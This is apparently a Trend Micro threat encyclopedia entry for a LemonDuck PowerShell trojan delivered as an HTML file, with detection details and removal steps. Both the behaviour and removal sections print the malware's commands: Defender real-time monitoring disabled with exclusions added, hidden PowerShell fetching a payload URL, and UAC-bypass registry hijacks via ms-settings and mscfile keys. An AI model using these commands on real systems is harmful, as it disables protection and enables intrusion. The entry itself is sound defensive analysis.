Author: Joshua John Bantayan   

 

Trojan:PowerShell/LemonDuck.D (MICROSOFT); Powershell.WebShell.38503 (QUICKHEAL)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
    Yes

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 2,588 bytes
File type: HTML, HTM
Memory resident: No
INITIAL SAMPLES RECEIVED DATE: 30 kwietnia 2021
PAYLOAD: Connects to URLs/IPs

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Otros detalles

Hace lo siguiente:

  • It contains a powershell code, and cannot be executed independently by itself, being an HTML file.
  • It needs a payload URL parameter to properly execute.
  • If the {Payload URL} starts with "http", it will try to download from the URL.
  • If the current user group is "Administrator", it will execute the following:
    • cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden
    • Download from {Payload URL}
  • If Windows version is "10", it does the following:
    • Create registry entries in:
      • HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
        DelegateExecute = ""
      • HKEY_CURRENT_USER:\Software\Classes\ms-settings\shell\open\command
        (default) = cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden {Payload URL}
    • Starts the process:
      • ComputerDefaults.exe
  • If Windows version is not"10", it does the following:
    • Create registry entries in:
      • HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
        DelegateExecute = ""
      • HKEY_CURRENT_USER:\Software\Classes\mscfile\shell\open\command
        (default) = powershell -w hidden {Payload URL}
    • Starts the process:
      • CompMgmtLauncher.exe

(Nota: %System% es la carpeta del sistema de Windows, que en el caso de Windows 98 y ME suele estar en C:\Windows\System, en el caso de Windows NT y 2000 en C:\WINNT\System32 y en el caso de Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) y 10(64-bit) en C:\Windows\System32).

)

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 16.688.07
First VSAPI Pattern Release Date: 30 kwietnia 2021
VSAPI OPR PATTERN-VERSION: 16.689.00
VSAPI OPR PATTERN DATE: 01 maja 2021

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Eliminar este valor del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

 
  • In HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
    • DelegateExecute = ""
  • In HKEY_CURRENT_USER:\Software\Classes\ms-settings\shell\open\command
    • (default) = cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden {Payload URL}
  • In HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
    • DelegateExecute = ""
  • In HKEY_CURRENT_USER:\Software\Classes\mscfile\shell\open\command
    • (default) = powershell -w hidden {Payload URL}

Step 4

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.HTML.LEMONDUCK.THDBIBA En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


Did this description help? Tell us how we did.